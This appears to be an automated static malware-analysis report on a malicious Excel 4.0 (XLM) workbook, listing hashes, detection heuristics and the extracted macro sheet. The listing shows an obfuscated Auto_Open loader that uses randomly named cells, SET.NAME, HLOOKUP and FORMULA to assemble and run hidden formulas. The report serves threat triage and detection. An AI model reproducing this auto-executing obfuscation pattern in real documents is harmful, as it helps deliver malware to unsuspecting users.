Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb9e1da708322a46…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:57 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: c3e49cedae6fd5d03b352fa61e24ccd4 SHA-1: 55f9f313830807af62babd0547a23b2442c60222 SHA-256: eb9e1da708322a464c7e408ba56e68d67a6378a8fcf91abdc1317a56c8dbd4ae
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6618 bytes
SHA-256: f56d1cdeb29b2d30d58f1712756e8d86f7286be08d770417007472783c8a1987
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'ybHUYvdDORgE') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WszthikNSA
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C142 
' 0018     26 LABEL : Cell Value, String Constant - bBsnckJGyjK len=0 
' 0018     20 LABEL : Cell Value, String Constant - bKmds len=0 
' 0018     21 LABEL : Cell Value, String Constant - DLVlYm len=0 
' 0018     20 LABEL : Cell Value, String Constant - eVzCw len=0 
' 0018     23 LABEL : Cell Value, String Constant - fynIcqlF len=0 
' 0018     24 LABEL : Cell Value, String Constant - gLkcGtEdm len=0 
' 0018     23 LABEL : Cell Value, String Constant - HVLrBEzv len=0 
' 0018     25 LABEL : Cell Value, String Constant - nZlfAJbulO len=0 
' 0018     27 LABEL : Cell Value, String Constant - ofNXXixcpDTD len=0 
' 0018     23 LABEL : Cell Value, String Constant - ozEbyIPy len=0 
' 0018     26 LABEL : Cell Value, String Constant - TUsYMQbWeWS len=0 
' 0018     27 LABEL : Cell Value, String Constant - utytxVpLfGdx len=0 
' 0018     24 LABEL : Cell Value, String Constant - vNGzgwEav len=0 
' 0018     27 LABEL : Cell Value, String Constant - ybHUYvdDORgE len=0 
' 0018     23 LABEL : Cell Value, String Constant - YshrRJPu len=0 
' 0018     20 LABEL : Cell Value, String Constant - YSUrH len=0 
' 0018     27 LABEL : Cell Value, String Constant - YVqzEUtfLRon len=0 
' 0018     21 LABEL : Cell Value, String Constant - YVrZtJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - yxbDPngeU len=0 
' 0018     23 LABEL : Cell Value, String Constant - zqRAlhWS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WszthikNSA,C46,"SET.NAME("TUsYMQbWeWS",VALUE("0"))",""
'  WszthikNSA,C48,"SET.NAME("gLkcGtEdm",TUsYMQbWeWS)",""
'  WszthikNSA,C50,"SET.NAME("vNGzgwEav",TUsYMQbWeWS)",""
'  WszthikNSA,C54,"SET.NAME("zqRAlhWS",COUNTA(DLVlYm))",""
'  WszthikNSA,C59,"SET.NAME("nZlfAJbulO",COUNTA(YVqzEUtfLRon))",""
'  WszthikNSA,C61,[],""
'  WszthikNSA,C64,"SET.NAME("YSUrH","")",""
'  WszthikNSA,C69,"gLkcGtEdm",""
'  WszthikNSA,C74,"SET.NAME("bKmds",HLOOKUP("*",DLVlYm,gLkcGtEdm,FALSE))",""
'  WszthikNSA,C78,"fynIcqlF",""
'  WszthikNSA,C80,"SET.NAME("eVzCw",TUsYMQbWeWS)",""
'  WszthikNSA,C84,[],""
'  WszthikNSA,C88,"eVzCw",""
'  WszthikNSA,C92,"ybHUYvdDORgE",""
'  WszthikNSA,C96,"ozEbyIPy",""
'  WszthikNSA,C99,"YshrRJPu",""
'  WszthikNSA,C101,"SET.NAME("ofNXXixcpDTD",VALUE(HLOOKUP("*",YVqzEUtfLRon,YshrRJPu,FALSE)))",""
'  WszthikNSA,C106,"HVLrBEzv",""
'  WszthikNSA,C111,"YSUrH",""
'  WszthikNSA,C115,"vNGzgwEav",""
'  WszthikNSA,C119,NEXT(),""
'  WszthikNSA,C124,"yxbDPngeU",""
'  WszthikNSA,C128,"SET.NAME("f",INT(T(FORMULA(T(YSUrH)&"",""&T(yxbDPngeU)))))",""
'  WszthikNSA,C133,"utytxVpLfGdx",""
'  WszthikNSA,C138,NEXT(),""
'  WszthikNSA,C140,RETURN(),""
'  WszthikNSA,C172,"SET.NAME("bBsnckJGyjK",C46)",""
'  WszthikNSA,C177,"DLVlYm",""
'  WszthikNSA,C182,"SET.NAME("YVqzEUtfLRon",R97C12)",""
'  WszthikNSA,C185,"SET.NAME("utytxVpLfGdx",193)",""
'  WszthikNSA,C187,"SET.NAME("YVrZtJ",3)",""
'  WszthikNSA,C192,bBsnckJGyjK(),""
'  WszthikNSA,C193,HALT(),""